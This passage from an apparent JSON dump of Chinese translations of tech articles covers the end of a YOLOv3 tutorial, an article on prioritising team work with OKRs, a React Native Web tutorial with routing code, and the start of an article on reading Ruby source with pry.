[You Only Look Once: Unified, Real-Time Object Detection](https://arxiv.org/abs/1506.02640), 2015.\n*   [YOLO9000: Better, Faster, Stronger](https://arxiv.org/abs/1612.08242), 2016.\n*   [YOLOv3: An Incremental Improvement](https://arxiv.org/abs/1804.02767), 2018.\n\n### API\n\n*   [matplotlib.patches.Rectangle API](https://matplotlib.org/api/_as_gen/matplotlib.patches.Rectangle.html)\n\n### 资源\n\n*   [YOLO: Real-Time Object Detection, Homepage](https://pjreddie.com/darknet/yolo/).\n*   [Official DarkNet and YOLO Source Code, GitHub](https://github.com/pjreddie/darknet).\n*   [Official YOLO: Real Time Object Detection](https://github.com/pjreddie/darknet/wiki/YOLO:-Real-Time-Object-Detection).\n*   [Huynh Ngoc Anh, Experiencor, Home Page](https://experiencor.github.io/).\n*   [experiencor/keras-yolo3, GitHub](https://github.com/experiencor/keras-yolo3).\n\n### Keras 项目的其他 YOLO 实现\n\n*   [allanzelener/YAD2K, GitHub](https://github.com/allanzelener/YAD2K).\n*   [qqwweee/keras-yolo3, GitHub](https://github.com/qqwweee/keras-yolo3).\n*   [xiaochus/YOLOv3 GitHub](https://github.com/xiaochus/YOLOv3).\n\n## 总结\n\n本教程教你如何开发 YOLOv3 模型，用于对新的图像进行对象检测。\n\n具体来说，你学到了：\n\n- 基于 YOLO 的卷积神经网络系列模型，用于对象检测。最新变体是 YOLOv3。\n- 针对 Keras 深度学习库的最佳开源库 YOLOv3 实现。\n- 如何使用预先训练的 YOLOv3 对新照片进行定位和检测。\n\n有问题吗？\n在评论区提问，我会尽可能回答的。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-prioritize-your-teams-work.md",
    "content": "> * 原文地址：[How To Prioritize Your Team’s Work](https://medium.com/better-programming/how-to-prioritize-your-teams-work-9e68f5e571c)\n> * 原文作者：[Maria Valcam](https://medium.com/@mariavalerocam)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-prioritize-your-teams-work.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-prioritize-your-teams-work.md)\n> * 译者：[司徒公子](https://github.com/stuchilde)\n> * 校对者：[sunbufu](https://github.com/sunbufu), [Baddyo](https://github.com/Baddyo)\n\n# 如何确定团队工作的优先级\n\n> 先了解你公司的目标以及你团队的目标\n\n![](https://raw.githubusercontent.com/stuchilde/public-images/master/img/20191124002420.jpeg)\n\n---\n\n## 日常工作\n\n对于每家公司，我们可以将工作分为三大类：\n\n* **产品相关的工作** —— 这就是用户能看到的。通常由产品负责人定义，它包含一些功能以及程序漏洞。\n* **内部 IT 相关的工作** —— 改善基础架构或日常运营，它包括创建新环境、编写自动化脚本、改进 CI/CD 以及更新依赖项等。\n* **计划外的工作以及重新放回的任务** —— 突发情况和问题。这无法计划，所以在本文的剩余部分中我将忽略它。\n\n* 注意：我参考了《DevOps 手册》中的四种工作类型，并对它们做了一些更改：将业务项目重命名为产品工作（所有的项目都是业务相关的项目）并且将内部 IT 项目和更新合并为一个。\n\n但是，我们如何确定工作的优先级呢？要回答这个问题，我们需要知道公司的目标是什么，我们团队的目标是什么。\n\n更重要的是：\n\n为什么你每天上班？\n\n---\n\n## 从大局出发\n\n为了更大的愿景，需要将公司的目标和团队的目标传达给每一个人，**OKR** 是一个框架，它可以帮助在组织的上下级中实现目标。\n\n注意：OKR 广泛用于一些科技公司：Google、Intuit、Microsoft、Amazon、Intel、Facebook、Netflix、Samsung、Spotify、Slack、Twitter、Salesforce.com、Deloitte、Dropbox 等。\n\n#### OKR（目标 + 关键成果）是什么？\n\nOKRs 有两个部分：\n\n* **目标** — 需要实现的目标。它们必须是有意义的、具体的、行动导向的并且（理想情况下）鼓舞人心的。\n\n* **关键成果** — 我们如何实现它。它们一定要遵循 [SMART](https://corporatefinanceinstitute.com/resources/knowledge/other/smart-goal/) 原则（明确、可衡量、可达成、实际、及时）。\n\n约翰·杜尔在他的著作《衡量事项》中定义了它们。观看此视频以进行快速总结。\n\n![](https://raw.githubusercontent.com/stuchilde/public-images/master/img/20191124002837.jpg)\n\n---\n\n## 设定团队的 OKR\n\n确定我们 OKR 的第一步是设定公司的目标，然后设定团队的目标，公司目标（和公司战略）由董事定义。\n\n1. 了解公司的 OKR \n\n2. 为团队设定明确的 OKR\n\n通常，团队的目标仅由产品负责人确定。他们据此创建他们的产品待办需求。对他们来说，这很容易，因为他们了解业务方面，但是这种方法存在许多问题：\n\n* 缺少对于业务发展至关重要的内部 IT OKR，如果仅以产品工作为目标，那么服务的速度、质量和稳定性将受到伤害。\n* 开发人员不会理解他们工作的意义，团队中的每个人都应该参与目标的设定，以便他们了解全局并可以在日常工作中进行权衡。正如《哈佛商业评论》文章“[不要让指标破坏你的业务](https://hbr.org/2019/09/dont-let-metrics-undermine-your-business)”中所描述，开发人员需要明白指标是真实目标的代理。\n\n解决方案？团队中的每个人都应该参与定义团队的 OKR。\n\n在每个人都了解业务目标之后，它们可以坐在一起，就团队应该专注于哪些方面来帮助实现这些目标进行讨论。最终，他们应该定义关键成果来保证目标的可追溯性。\n\n---\n\n## 技术 OKR\n\n你觉不觉得和 PM 达成一致是一件困难的事情？提醒他们，内部工作也能为客户带来价值，所以错过它们对公司来说也是致命的。\n\n![](https://raw.githubusercontent.com/stuchilde/public-images/master/img/20191124003216.jpeg)\n\n您可以添加以下目标：\n\n* **改善交付** —— [DevOps 状态报告](https://services.google.com/fh/files/misc/state-of-devops-2019.pdf)显示了 31000 份来自在职专业人员的调查反馈的结论。它始终指向的是反应开发和交付过程中有效性相同的四个指标。它们分别是交付周期、部署频率、更改失败、可用性和恢复时间。这些指标将高绩效者和低绩效者区分开。\n* **降低风险因素** —— 首先，你应该确定你的风险（使用便利贴与你的团队一起做），根据相关性对它们进行排序，设定它们发生的可能性（低、中、高）。然后，你的团队应该在表格上记录下 OKR。\n\n注意：你应该每年检查一次风险因素。\n\n* **降低成本** —— 你还在为一个应用花费太多？新项目还没有成果？那笔钱本可以花在你公司的其他地方，我们需要通过减少不必要的开支来考虑这种机会成本。\n\n注意：对于某些低成本的公司而言，减少成本的工作可能是至关重要的。\n\n---\n\n## 放在一起\n\n一旦你的团队有了目标，每个新项目都应该与 OKR 关联起来。如果一个项目没有对 OKR 作出贡献，那它就是在浪费团队的时间。\n\n提示：\n\n* **项目应被视为假设**，假设它可能无法实现你的目标。例子1：如果我们允许用户使用 PayPal 支付，我们将获得更多的用户。例子2：如果我们使用微服务，我们将缩短交付周期。所以，你需要验证关键成果是否正在改善。如果不能，请删除该项目并创建一个新的假设。\n* 目标可以存在一年或更长的时间，但是关键成果会随着工作的进展而演变。所以，你应该至少每年一次**检查你的目标是否仍有意义**，并且每个月或者每个季度至少检查一次关键成果。\n* 在整个组织中 **OKR 应该是透明的**。这可以激发部门之间的沟通，避免重复工作，因此致力于同一目标的团队可以齐心协力。\n* 在谷歌，**每一位员工都有自己的 OKR**。其中，六到八个来自于团队，还有两个由他们自己设置（20% 的时间）。他们这样做是为了改善创新并促进人们为公司增添他们的远见（Gmail 就是在 Google 中的那 20% 的项目）。\n* OKR 有两种类型：承诺型和进取型。承诺型 OKR 必须为团队实现目标，进取型 OKR 旨在引导团队朝着同一个方向前进，但预计不会实现。实际上，**实现所有的 OKR 是一个不够野心勃勃的信号**（参考 “[Google’s Larry Page on Why Moon Shots Matter](https://www.wired.com/2013/01/ff-qa-larry-page/)”）。\n\n---\n\n## 感谢阅读\n\n我希望这些技巧能使你更好的安排工作的优先级。\n\n你设置了不同的优先级吗？在评论中让我看到！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-react-native-web-app-a-happy-struggle.md",
    "content": "> * 原文地址：[How to: React Native Web app. A Happy Struggle.](https://blog.bitsrc.io/how-to-react-native-web-app-a-happy-struggle-aea7906f4903)\n> * 原文作者：[Lucas Mórawski](https://blog.bitsrc.io/@lucasmorawski?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-react-native-web-app-a-happy-struggle.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-react-native-web-app-a-happy-struggle.md)\n> * 译者：[weibinzhu](https://github.com/weibinzhu)\n> * 校对者：[Moonliujk](https://github.com/Moonliujk), [nanjingboy](https://github.com/nanjingboy)\n\n# 怎么做：React Native 网页应用。一场开心的挣扎\n\n## 一个关于制作通用应用的简短而详细的教程\n\n![](https://cdn-images-1.medium.com/max/2000/1*RiQRKKQ2ndxD6ddo8hXNLg.png)\n\n你醒来。阳光灿烂，鸟儿在歌唱。没有战争，没有饥饿，代码可以轻易地被原生和 web 环境共享。是不是很赞？但很不幸，仅仅是后者，希望虽已经在地平线上，但仍然有一些事情需要我们去完成。\n\n### 为什么你需要关心？\n\n如今在技术缩写的海洋里面，PWA（[渐进式 Web 应用程序](https://en.wikipedia.org/wiki/Progressive_Web_Apps)）是一个重要的三字词语,但是它仍然有[缺点](https://clutch.co/app-developers/resources/pros-cons-progressive-web-apps)。有很多被迫在开发原生应用以外还要开发 web 版的案例，其中也有很多技术难题。[Ian Naylor 写了一篇很棒的关于这个的文章](https://appinstitute.com/pwa-vs-native-apps/)。\n\n但是，对于你的电子商务生意，仅仅开发一个原生应用也是一个大错误。因此制作一个能够在所有地方工作的软件似乎是一个合乎逻辑的操作。你可以减少工作时间，以及生产、维护的费用。这就是为什么我开始了这个小小的实验。\n\n这是一个简单的用于在线订餐的电子商务通用应用例子。在此之上，我创建了一个样板，用于将来的项目以及更深入的实验。\n\n![](https://cdn-images-1.medium.com/max/1000/1*hSTFw1TNjeqLZHq_DTBVRg.png)\n\nPapu — 一个可用于安卓、iOS、web 的食物 APP\n\n### 检查一下你的基本模块\n\n我们使用 React 来开展我们的工作，因此我们应该将应用逻辑与 UI 分离。使用类似 Redux/MobX/other 这样的状态管理系统是最好的选择。这将使得我们的业务逻辑能在多个平台之间复用。\n\n视图部分则是另外一个难题。为了构建你的应用的界面，你需要有一套通用的基本模块。他们需要能同时在 web 与原生环境下使用。不幸的是，web 上有着一套不一样的东西。\n\n```\n<div>这是一个标准的 web 上的容器</div>\n```\n\n而在原生上\n\n```\n<View>你好！我是 React Native 里面的一个基础容器</View>\n```\n\n有些聪明的人想到了如何解决这个问题。我最喜欢的解决方案之一就是由 [Nicolas Gallagher](http://nicolasgallagher.com/) 制作的伟大的 [React Native Web](https://github.com/necolas/react-native-web) 库。不仅仅是因为通过它能够让你在 web 上使用 React Native 组件（不是全部组件！）来解决基本模块的问题。它还暴露了一些 React Native 的 API，比如 Geolocation，Platform，Animated，AsyncStorage 等。快来 [RNW guides](https://github.com/necolas/react-native-web/tree/master/docs/guides) 这里看一些很棒的示例。\n\n### 首先是一个样板\n\n我们已经知道如何解决基本模块的问题了，但是我们仍然要试着将 web 页与原生的生产环境『粘』在一起。在我的项目中，我使用了 [RN](https://facebook.github.io/react-native/docs/getting-started) 的初始化脚本（没有展示在这里），并且对于 web 部分我使用了 [create-react-app](https://github.com/facebook/create-react-app)。首先我通过 `create-react-app rnw_web` 创建了一个项目，然后通过 `react-native init raw_native` 创建了另一个。接着我在一个新的项目文件夹里面，『科学怪人式』地将他们的 `package.json` 合并成一个，并在上面运行 yarn. 最终的 package 文件长这样：\n\n```\n{\n  \"name\": \"rnw_boilerplate\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"dependencies\": {\n    \"react\": \"^16.5.1\",\n    \"react-art\": \"^16.5.1\",\n    \"react-dom\": \"^16.5.1\",\n    \"react-native\": \"0.56.0\",\n    \"react-native-web\": \"^0.9.0\",\n    \"react-navigation\": \"^2.17.0\",\n    \"react-router-dom\": \"^4.3.1\",\n    \"react-router-modal\": \"^1.4.2\"\n  },\n  \"devDependencies\": {\n    \"babel-jest\": \"^23.4.0\",\n    \"babel-preset-react-native\": \"^5\",\n    \"jest\": \"^23.4.1\",\n    \"react-scripts\": \"1.1.5\",\n    \"react-test-renderer\": \"^16.3.1\"\n  },\n  \"scripts\": {\n    \"start\": \"node node_modules/react-native/local-cli/cli.js start\",\n    \"test\": \"jest\",\n    \"start-ios\": \"react-native run-ios\",\n    \"start-web\": \"react-scripts start\",\n    \"build\": \"react-scripts build\",\n    \"test-web\": \"react-scripts test --env=jsdom\",\n    \"eject-web\": \"react-scripts eject\"\n  }\n}\n```\n\nReact Native Web 样板的 package.json 文件（在这个版本里面没有导航）\n\n你需要将所有在 web 和 native 目录里的源代码文件复制到新的统一项目目录中。\n \n![](https://cdn-images-1.medium.com/max/800/1*jBJPol8evebkL96FXEAFew.png)\n\n需要复制到新项目的文件夹\n\n下一步，我们将 App.js 与 App.native.js 放到我们新创建的 src 文件夹中。感谢 [webpack](https://webpack.js.org/) 我们可以通过文件拓展名来告诉打包器哪些文件用在哪些地方。这对于使用分离的 App 文件至关重要，因为我们准备使用不同的方式进行应用导航。\n\n```\n// App.js - WEB\nimport React, { Component } from \"react\";\nimport { View } from \"react-native\";\nimport WebRoutesGenerator from \"./NativeWebRouteWrapper/index\";\nimport { ModalContainer } from \"react-router-modal\";\nimport HomeScreen from \"./HomeScreen\";\nimport TopNav from \"./TopNav\";\nimport SecondScreen from \"./SecondScreen\";\nimport UserScreen from \"./UserScreen\";\nimport DasModalScreen from \"./DasModalScreen\";\n\nconst routeMap = {\n  Home: {\n    component: HomeScreen,\n    path: \"/\",\n    exact: true\n  },\n  Second: {\n    component: SecondScreen,\n    path: \"/second\"\n  },\n  User: {\n    component: UserScreen,\n    path: \"/user/:name?\",\n    exact: true\n  },\n  DasModal: {\n    component: DasModalScreen,\n    path: \"*/dasmodal\",\n    modal: true\n  }\n};\n\nclass App extends Component {\n  render() {\n    return (\n      <View>\n        <TopNav />\n        {WebRoutesGenerator({ routeMap })}\n        <ModalContainer />\n      </View>\n    );\n  }\n}\n\nexport default App;\n```\n\n给 web 的 App.js. 这里使用 react-router 进行导航。\n\n```\n// App.js - React Native\n\nimport React, { Component } from \"react\";\nimport {\n  createStackNavigator,\n  createBottomTabNavigator\n} from \"react-navigation\";\nimport HomeScreen from \"./HomeScreen\";\nimport DasModalScreen from \"./DasModalScreen\";\nimport SecondScreen from \"./SecondScreen\";\nimport UserScreen from \"./UserScreen\";\n\nconst HomeStack = createStackNavigator({\n  Home: { screen: HomeScreen, navigationOptions: { title: \"Home\" } }\n});\n\nconst SecondStack = createStackNavigator({\n  Second: { screen: SecondScreen, navigationOptions: { title: \"Second\" } },\n  User: { screen: UserScreen, navigationOptions: { title: \"User\" } }\n});\n\nconst TabNav = createBottomTabNavigator({\n  Home: HomeStack,\n  SecondStack: SecondStack\n});\n\nconst RootStack = createStackNavigator(\n  {\n    Main: TabNav,\n    DasModal: DasModalScreen\n  },\n  {\n    mode: \"modal\",\n    headerMode: \"none\"\n  }\n);\n\nclass App extends Component {\n  render() {\n    return <RootStack />;\n  }\n}\n\nexport default App;\n```\n\n给 React Native 的 App.js. 这里使用了 react-navigation。\n\n我就是这样制作了一个简单的样板以及给应用构造了一个框架。你可以通过克隆我的 github 仓库来试一下我那个干净的样板。\n\n* [**inspmoore/rnw_boilerplate**：一个基于 React Native Web 库的，用于实现 React Native 与 ReactDOM 之间代码共享的样板](https://github.com/inspmoore/rnw_boilerplate \"https://github.com/inspmoore/rnw_boilerplate\")\n\n下一步我们将通过加入路由/导航系统来让它复杂一些。\n\n### 导航的问题与解决方案\n\n除非你的应用只有一个页面，否则你需要一些导航。现在（2018 年 9 月）只有一种能够在 web 与原生中都能用的方法：[React Router](https://reacttraining.com/react-router/)。在 web 中这是一个导航方法，但对于 React Native 来说不完全是。\n\nReact Router Native 缺少页面过渡动画，对后退按钮的支持（安卓），模态框，导航条等等。而其他的库则提供这些功能，例如 [React Navigation](https://reactnavigation.org/).\n\n我把它用在了我的项目中，但是你可以用其他的。于是我把 React Router 用在 web 端，把 React Navigation 用在原生。但这又导致了一个新问题。导航，以及传参，在这两个导航库中有着很大不同。\n\n为了保持在所有地方都有着更多的原生体验这个 React Native Web 的精神，我通过制作网页路由并将它们包裹在一个 HOC 里面来解决这个问题。这样能暴露出类似 React Navigation 的 API。\n\n这使得我们无需给两个『世界』分别制作组件即可实现在页面之间导航。\n第一步是创建一个用于 web 路由的路径 map 对象：\n\nimport WebRoutesGenerator from \"./NativeWebRouteWrapper\"; //用于生成 React Router 路径并将其包裹在一个 HOC 中的自定义函数\n\n```\nimport WebRoutesGenerator from \"./NativeWebRouteWrapper\"; //用于生成 React Router 路径并将其包裹在一个 HOC 中的自定义函数\n\nconst routeMap = {\n  Home: {\n    screen: HomeScreen,\n    path: '/',\n    exact: true\n  },\n  Menu: {\n    screen: MenuScreen,\n    path: '/menu/sectionIndex?'\n  }\n}\n\n//在 render 方法中\n<View>\n  {WebRoutesGenerator({ routeMap })}\n</View>\n```\n\n这个语法与 React Navigation 的 navigator 构造函数的一样，除了多了一个 React Router 特定的选项。然后，通过我的辅助函数，我创建了一个 `react-router` 路径。并将其包裹在一个 HOC 中。这回将页面组件拷贝一份，并在其 props 中添加一个 `navigation` 属性。这模拟了 React Navigation 并暴露出一些方法，像是 `navigate()`, `goBack()`, `getParam()`。\n\n#### 模态框\n\n通过它的 `createStackNavigator` React Navigation 提供了一个选项，让页面像一个模态框一样从底部滑出。为了在 web 端实现这个，我使用了由 [Dave Foley](https://github.com/davidmfoley) 写的 [React Router Modal](https://github.com/davidmfoley/react-router-modal) 库。为了将某个页面用作模态框，首先你需要在路径 map 中添加一个模态框选项：\n\n```\nconst routeMap = {\n  Modal: {\n    screen: ModalScreen,\n    path: '*/modal',\n    modal: true //路由会用 ModalRoute 组件来渲染这个路径\n  }\n}\n```\n\n此外你还需要添加一个 `react-router-modal` 库中的 `<ModalContainer />` 组件到你的应用中。这是模态框将会被渲染的地方。\n\n#### 页面之间导航\n\n感谢我们自定义的 HOC（暂时称之为 NativeWebRouteWrapper，话说这真是一个糟糕的名字），我们可以使用一套跟 React Navigation 中的几乎一样的函数来实现在 web 端进行页面切换：\n\n```\nconst { product, navigation } = this.props\n<Button \n  onPress={navigation.navigate('ProductScreen', {id: product.id})} \n  title={`Go to ${product.name}`}\n/>\n<Button \n  onPress={navigation.goBack}\n  title=\"Go Back\"\n/>\n```\n\n#### 回到栈中的上一个页面\n\n在 React Navigation 中，你可以回到导航栈中的前 n 个页面。然而在 React Router 中则做不到，因为这里没有栈。为了解决这个问题，你需要引入一个自定义的 pop 函数，以及传一些参数进去。\n\n```\nimport pop from '/NativeWebRouteWrapper/pop'\n\nrender() { \n  const { navigation } = this.props\n  return (\n    <Button\n      onPress={pop({screen: 'FirstScreen', n: 2, navigation})}\n      title=\"Go back two screens\" \n    />\n  )\n}\n```\n\n`screen` —— 页面名字（在 web 端给 React Router 使用的）\n`n` —— 需要返回多少个页面（给 React Navigation 使用的）\n`navigation` —— 导航对象\n\n### 结果\n\n如果你想试一下这个想法，我制作了两个样板。\n\n第一个只是一个给 web 与原生的通用生产环境。你可以在[这里](https://github.com/inspmoore/rnw_boilerplate)找到。\n\n第二个则是第一个的加强版，添加了导航的解决方案。放到了[这里](https://github.com/inspmoore/rnw_boilerplate_nav)。\n\n另外还有一个[基于这个想法的叫做 papu 的 demo 应用](https://github.com/inspmoore/papu)。它有很多 bug 以及死胡同，不过你可以制作你自己的版本并在你的浏览器和手机上查看，感受一下是怎么工作的。\n\n### 下一步\n\n我们真的很需要一个通用的导航库来使我们更容易地制作类似项目。让 React Navigation 也能用在 web 环境会是很赞的事情（事实上今天你就可以做到，不过这会是一次坎坷的旅途 —— [可以到这里了解一下](https://pickering.org/using-react-native-react-native-web-and-react-navigation-in-a-single-project-cfd4bcca16d0)）\n\n**感谢你花时间阅读！如果你喜欢这篇文章，希望你能分享出去。[这是我的推特](https://twitter.com/pirx__) 有什么问题请在下方评论 😃**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-read-source-code-without-ripping-your-hair-out.md",
    "content": "> * 原文地址：[How to read code without ripping your hair out](https://medium.com/launch-school/how-to-read-source-code-without-ripping-your-hair-out-e066472bbe8d)\n> * 原文作者：[Sun-Li Beatteay](https://medium.com/@SunnyB)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-read-source-code-without-ripping-your-hair-out.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-read-source-code-without-ripping-your-hair-out.md)\n> * 译者：[Mcskiller](https://github.com/Mcskiller)\n> * 校对者：[xionglong58](https://github.com/xionglong58), [Endone](https://github.com/Endone)\n\n# 如何心平气和地阅读代码\n\n![](https://cdn-images-1.medium.com/max/10944/1*Vv0HNvRhU0ihKVaBIpDUww.jpeg)\n\n1. 多写代码\n2. 多读代码\n3. 每天都完成以上内容\n\n这是我在两年前转向编程时给我自己的要求。幸运的是，现在有很多在线编写代码的课程和教程可以教你写代码，然而他们却基本上都没有去教你如何阅读代码。\n\n这是一个重要的区分点。随着进入科技领域的编程训练营毕业生数量的 [飞速增长](https://www.coursereport.com/reports/2016-coding-bootcamp-market-size-research)。强调阅读源码变得更加重要。Brandon Bloom [写道](https://news.ycombinator.com/item?id=3769446)：\n> 如果它在 **你** 的机器上运行，它就是 **你** 的软件。**你** 应该对此负责，所以 **你** 必须对它了如指掌。\n\n![Yes, you.](https://cdn-images-1.medium.com/max/2000/1*r_K_SnPFHV6BRZMcShNiPQ.gif)\n\n虽然每个程序员都应该阅读源码，但 [事实](https://blog.codinghorror.com/learn-to-read-the-source-luke/) 并非如此。许多程序员不愿意阅读源码是因为它阅读起来很难，容易打击他们的信心，并且让他们感到自己很蠢。我知道，因为这就是我的感受。\n\n**其实只是方法不对**\n\n在我阅读其他人的代码时，我想出了一个只需要三步的阅读方法。可能有些人已经在遵循这些步骤，但我相信大部分人是没有的。\n\n我的步骤如下。\n\n## 1. 选一个你感兴趣的点\n\n![Image Source: [https://thenextweb.com/wp-content/blogs.dir/1/files/2010/04/twitter-location-300x200.jpg](https://thenextweb.com/wp-content/blogs.dir/1/files/2010/04/twitter-location-300x200.jpg)](https://cdn-images-1.medium.com/max/2000/1*1jtCApS-67hwSYHOqwsDDw.png)\n\n回想我第一次阅读源码的时候，那简直是一场灾难。\n\n我当时正在学习 Sinatra，然后我想更好的了解底层运行机制。然而，我并不知道应该从哪里开始读，于是我找到了它在 Github 上的 repo 然后随便打开了一个文件。不开玩笑，我确实是这样做的。\n\n我想我可以花一个下午来研究它，然后在吃晚饭的时候就可以完全掌握。毕竟，阅读我自己的代码很容易，阅读别人有什么不同？\n\n我们都知道接下来会发生什么。可以这么说，我当时的感受像一头撞在了一堵文字墙上一样。\n\n![](https://cdn-images-1.medium.com/max/2000/1*RSW1LI69w3Bgb1H7ynxDjw.gif)\n\n我一次想学的东西太多了。许多初学者在第一次阅读源码的时候也会犯同样的错误。\n\n**心智模型是一点一点建立起来的，阅读代码也应该如此。**\n\n不要去试图以坚持努力来消化 1000 行代码，专注于一个主题。如果能够细化到单个方法更好。\n\n有一个细化的焦点能够让你分清什么是相关的，什么是不相关的。没有必要去理会那些不相关的东西。\n\n然而，选择一个特定的主题并不能解决你的所有问题。知道它在代码库中的位置仍然是个难题。\n\n这就是第二步的问题了。\n\n## 2. 找到一个切入点\n\n![Image Source: [https://glenelmadventblog.files.wordpress.com/2012/12/loose-thread.jpg](https://glenelmadventblog.files.wordpress.com/2012/12/loose-thread.jpg)](https://cdn-images-1.medium.com/max/2000/1*suh4cGspVlBGRqF1QAVK_Q.png)\n\n现在你有了一个想要学习的目标，接下来应该怎么做？\n\n幸运的是，编程语言附带了检查工具。\n\n对象的类，类的祖先，堆栈跟踪，还是某种方法的所有者，这是大多数语言都有的特性。无论你是想知道哪一个，一旦你开始分析代码库，你会遇到一系列问题。\n\n与其用文字来解释这个概念，不如用代码展示来得更快。\n\n### 开始分析\n\n假设我想学习更多 ActiveRecord 的相关知识。然后我已经把重点缩小到了 `belongs_to` 方法上，现在我想了解它如何影响 ActiveRecord 模型。\n\nActiveRecord 是 [Rails](https://github.com/rails/rails) 的一部分，它是用 Ruby 构建的。Ruby 提供了大量开发工具。\n\n我的第一种方法是使用调试工具，比如用 `pry` gem 来剖析我的 ActiveRecord 模型。对于之前的假设，这就是我选择调试的模型的代码。\n\n```\nclass Comment < ActiveRecord::Base\n  belongs_to :creator, foreign_key: 'user_id', class_name: 'User'\n  belongs_to :post\n  binding.pry\n  validates :body, presence: true\nend\n```\n\n注意 `binding.pry` 语句。当 Rails 遇到这行代码时，`pry` 将会在执行中期暂停应用程序并打开命令行提示符。\n\n下面是我研究 `belongs_to` 关联的时候在控制台使用的示例交换。\n\n* 我的所有的输入内容都是在 `pry >` 之后。\n\n* `=>` 显示控制台的输出。\n\n```\npry> class = belongs_to(:post).class\n=> ActiveRecord::Reflection::AssociationReflection\n\npry> class.ancestors\n=> [ActiveRecord::Reflection::AssociationReflection,        \n    ActiveRecord::Reflection::MacroReflection,\n     ...omitted for brevity ]\n\npry> defined? belongs_to\n=> \"method\"\n\npry> method(:belongs_to).owner\n=> ActiveRecord::Associations::ClassMethods\n```\n\n如果你不太能理解 Ruby，并且这个交换让你感到困惑，可以看看我的提示。\n\n* 当 `belongs_to :post` 运行时，它返回一个 `AssociationReflection` 类的实例。\n\n* `MacroReflection` 是 `AssociationReflection` 的父类。\n\n* `belongs_to` 是一个类方法，它是在 `ActiveRecord::Associations` 内部的 `ClassMethods` 模块上定义的。\n\n现在我有了一些线索，但是我应该遵循哪一条呢？因为我对 `belongs_to` 方法本身更感兴趣，而不是它的返回值，所以我决定去查看 `ClassMethods` 模块。\n\n## 3. 跟随线索\n\n![](https://cdn-images-1.medium.com/max/2000/1*VP1Zze3OGAZnalmuvzJhhQ.png)\n\n现在你已经有了想要跟随的目标，剩下的就是跟随它，直到找到你的答案。这似乎是一个简单的步骤，但这正是大多数初学者犯错的地方。\n\n其中一个原因是，仓库是没有目录的。我们任由维护人员以可读的方式组织他们的文件。\n\n对于有很多维护者的大型项目，这通常不是问题。\n\n但对于一个小项目，你可能会发现自己要费力地逐个处理文件，逐个破译名称变量，然后就会多次遇到“这是从哪里来的”的情况。\n\n### GitHub 搜索\n\n有一个工具可以帮助我们更容易完成这个任务，就是 GitHub 搜索（我们假设你正在阅读的项目是在 Github 上的）。Github 搜索非常方便，因为他能够显示所有匹配搜索查询的文件。它还能显示符合查询的内容在文件中的位置。\n\n![](https://cdn-images-1.medium.com/max/2000/1*bgk8AkVP2Uuk-Msj_LDrPg.png)\n\n为了得到最好的结果，你需要让你的搜索尽可能具体。这需要你对你想找的内容有一个概念。盲目的搜索 